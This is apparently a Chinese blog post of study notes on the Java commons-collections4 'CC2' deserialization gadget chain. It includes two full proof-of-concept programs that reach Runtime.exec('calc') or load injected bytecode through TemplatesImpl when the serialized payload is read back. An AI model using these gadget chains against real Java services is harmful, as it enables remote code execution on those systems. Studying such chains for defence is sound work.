Java安全漫谈学习笔记8-CC2链

在cc反序列化利用链提出后,cc库出现了2个分支

commons-collections:commons-collections

org.apache.commons:commons-collections4

俩者名字都变了,变成了2个不同的分支,因为官方认为旧的cc库有一些架构和api设计上的问题,但是如果去修复这些问题,会有很多不能向前兼容的改动,所以CC4成了一个新的包,可以和之前的cc包共存,代码层面,有以下变动

1
2
3
4
5
6
7
8
9
// 1. 包名变化 (引入了数字 4)
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.map.LazyMap;

// 2. 静态工厂方法名变化
// 3.x 版本:
Map map = LazyMap.decorate(innerMap, transformer);
// 4.x 版本:
Map map = LazyMap.lazyMap(innerMap, transformer);

像我们之前写的cc1,cc6的payload拿到cc4里去用,没改的话肯定用不了

也还是能弹计算器

cc3和查重也差不多,但是也要把transformermap的decorate方法改了

但是ysoserial的作者在面对CC4的时候,没有想着用之前的旧链,而是找了2条新链,一条是CC2利用链,一条是CC4利用链。

从CC库中找利用链其实就是找一条从Serializable#readObject()Transformer#transform()的调用链。

CC2链

CC2链中用到的2个关键类是

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

这个优先队列类被反序列化时,不会直接相信数据流里的顺序,在readObject方法中会自己再排一遍,会调用一个heapify方法,这个方法中会调用比较器(Comparator).compare(obj1,obj2)重新排序。

而CC库里恰好有一个TransformingComparator,它在比较之前会用Transformer处理一下再比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 1. 我们准备一个 Transformer(负责实际的动作)
Transformer transformer = ... ;

// 2. 构造一个 CC 库的比较器,把 Transformer 塞进去
Comparator comparator = new TransformingComparator(transformer);

// 3. 构造 Java 原生的优先队列,并告诉它:“以后你排序,就用我给你的这个比较器”
PriorityQueue queue = new PriorityQueue(2, comparator);

// 4. 往队列里随便塞两个元素。
// 队列为了决定谁排前面,底层会自动调用:comparator.compare(1, 2)
queue.add(1);
queue.add(2);

comparator.compare(1, 2)方法中是这样的

1
2
3
4
5
6
7
// TransformingComparator 的 compare 方法源码:
public int compare(final I obj1, final I obj2) {
// 【关键触发点】它自动调用了 transformer 的 transform 方法!
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

看到这个transform就到了我们熟悉的环节了

然后这是一个简单的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) };
// =============================================================
// 第一步:构造恶意调用链 (The Payload)
// 目标:执行 Runtime.getRuntime().exec("calc")
// 难点:Runtime 对象不可序列化,所以必须用反射的方式去获取并调用
// =============================================================
Transformer[] transformers = new Transformer[]{
// 1. 无论输入什么,都返回 Runtime.class (这是个 Class 对象,可序列化)
new ConstantTransformer(Runtime.class),

// 2. 反射调用 getMethod("getRuntime"),得到 Method 对象
// 相当于:Runtime.class.getMethod("getRuntime")
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),

// 3. 反射调用 invoke(null),得到 Runtime 实例
// 相当于:method.invoke(null) -> 也就是 Runtime.getRuntime()
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),

// 4. 反射调用 exec("calc")
// 相当于:runtime.exec("calc")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

// 将上面的步骤串联起来,形成一个完整的执行链
Transformer transformerChain = new ChainedTransformer(transformers);

Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue=new PriorityQueue(2,comparator);

queue.add(1);
queue.add(2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

// 2. 因为 "iTransformers" 是私有变量 (private),正常不允许修改。
// 我们用这行代码暴力砸开权限锁。
f.setAccessible(true);

// 3. 把我们之前创建的 chain (它目前装的是空包弹 fakeTransformers) 里面的数组,
// 强行替换成 realTransformers (真正包含 Runtime.exec("calc") 的实弹)
f.set(transformerChain, transformers);
// 1. 序列化 (生成恶意二进制流)
// 1. 创建一个字节数组输出流(容器)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
// 2. 创建一个对象输出流(工人),并告诉它把数据写到上面的容器里
ObjectOutputStream oos = new ObjectOutputStream(barr);
// 3. 工人开始干活:把对象冻结(序列化)并写入容器
oos.writeObject(queue);
// 4. 关闭流(好习惯)
oos.close();

// 打印看看生成了多少字节
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");

// 2. 反序列化 (模拟服务端接收并解析)
// 这一行代码执行时,计算器就会弹出!
System.out.println("开始反序列化...");
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object)ois.readObject();
}
}

这里会弹2个计算器,因为执行了2次transform方法

然后字节码版本的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class CC2_template {
public static void setValue(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj" +
"L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW" +
"xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z" +
"BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2" +
"0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z" +
"dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG" +
"xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu" +
"amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1" +
"RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv" +
"cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG" +
"VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA" +
"FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ" +
"AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA" +
"AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ" +
"AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE" +
"sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setValue(obj,"_bytecodes",new byte[][]{code});
setValue(obj,"_name","gYppSHXH");
setValue(obj,"_tfactory",new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString",null,null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,comparator);

queue.add(obj);
queue.add(obj);
//这里2个都必须是obj,不然在本地添加进去触发比较的时候就会崩溃报错,无法执行,输出序列化字节
setValue(transformer,"iMethodName","newTransformer");
// 1. 序列化 (生成恶意二进制流)
// 1. 创建一个字节数组输出流(容器)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
// 2. 创建一个对象输出流(工人),并告诉它把数据写到上面的容器里
ObjectOutputStream oos = new ObjectOutputStream(barr);
// 3. 工人开始干活:把对象冻结(序列化)并写入容器
oos.writeObject(queue);
// 4. 关闭流(好习惯)
oos.close();

// 打印看看生成了多少字节
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");

// 2. 反序列化 (模拟服务端接收并解析)
// 这一行代码执行时,计算器就会弹出!
System.out.println("开始反序列化...");
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object)ois.readObject();
}
}

但是这个PriorityQueue链在cc3库中是没法使用的,因为TransformingComparator在cc4之前没有实现序列化接口。

然后在cc3.2.2版本中,官方为了修复反序列化漏洞,添加了一个方法来检查反序列化是否安全,会检查一些常见的危险Transformer类,然后抛出异常

然后在cc4版本中,直接删除了这几个危险Transformer类的序列化接口


Java安全漫谈学习笔记8-CC2链
https://rightevil.github.io/Java安全漫谈学习笔记8-CC2链/
作者
rightevil
发布于
2026年5月4日
许可协议